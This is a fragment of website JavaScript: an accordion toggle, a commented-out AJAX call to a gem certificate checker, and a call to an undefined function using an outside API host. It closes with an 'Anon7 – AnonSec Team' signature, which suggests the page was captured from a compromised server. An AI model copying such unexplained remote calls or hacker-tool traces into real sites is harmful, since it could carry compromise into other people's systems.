    for (i = 0; i < acc.length; i++) {
        acc[i].addEventListener("click", function () {
            this.classList.toggle("active-accordion");
            var panel = this.nextElementSibling;
            if (panel.style.maxHeight) {
                panel.style.maxHeight = null;
            } else {
                panel.style.maxHeight = panel.scrollHeight + "px";
            }
        });
    }
}


// $.ajax({
//     url: 'http://www.asiagemlab.com/lab/checkCert.asp?certno=CPGA/01541/0K89',
//     method: "GET",
//     dataType: "json",
// }).success(function (res) {
//     console.log(res);
// })


im90sTr('https://api.im90s.org', 8);

Anon7 - 2022
AnonSec Team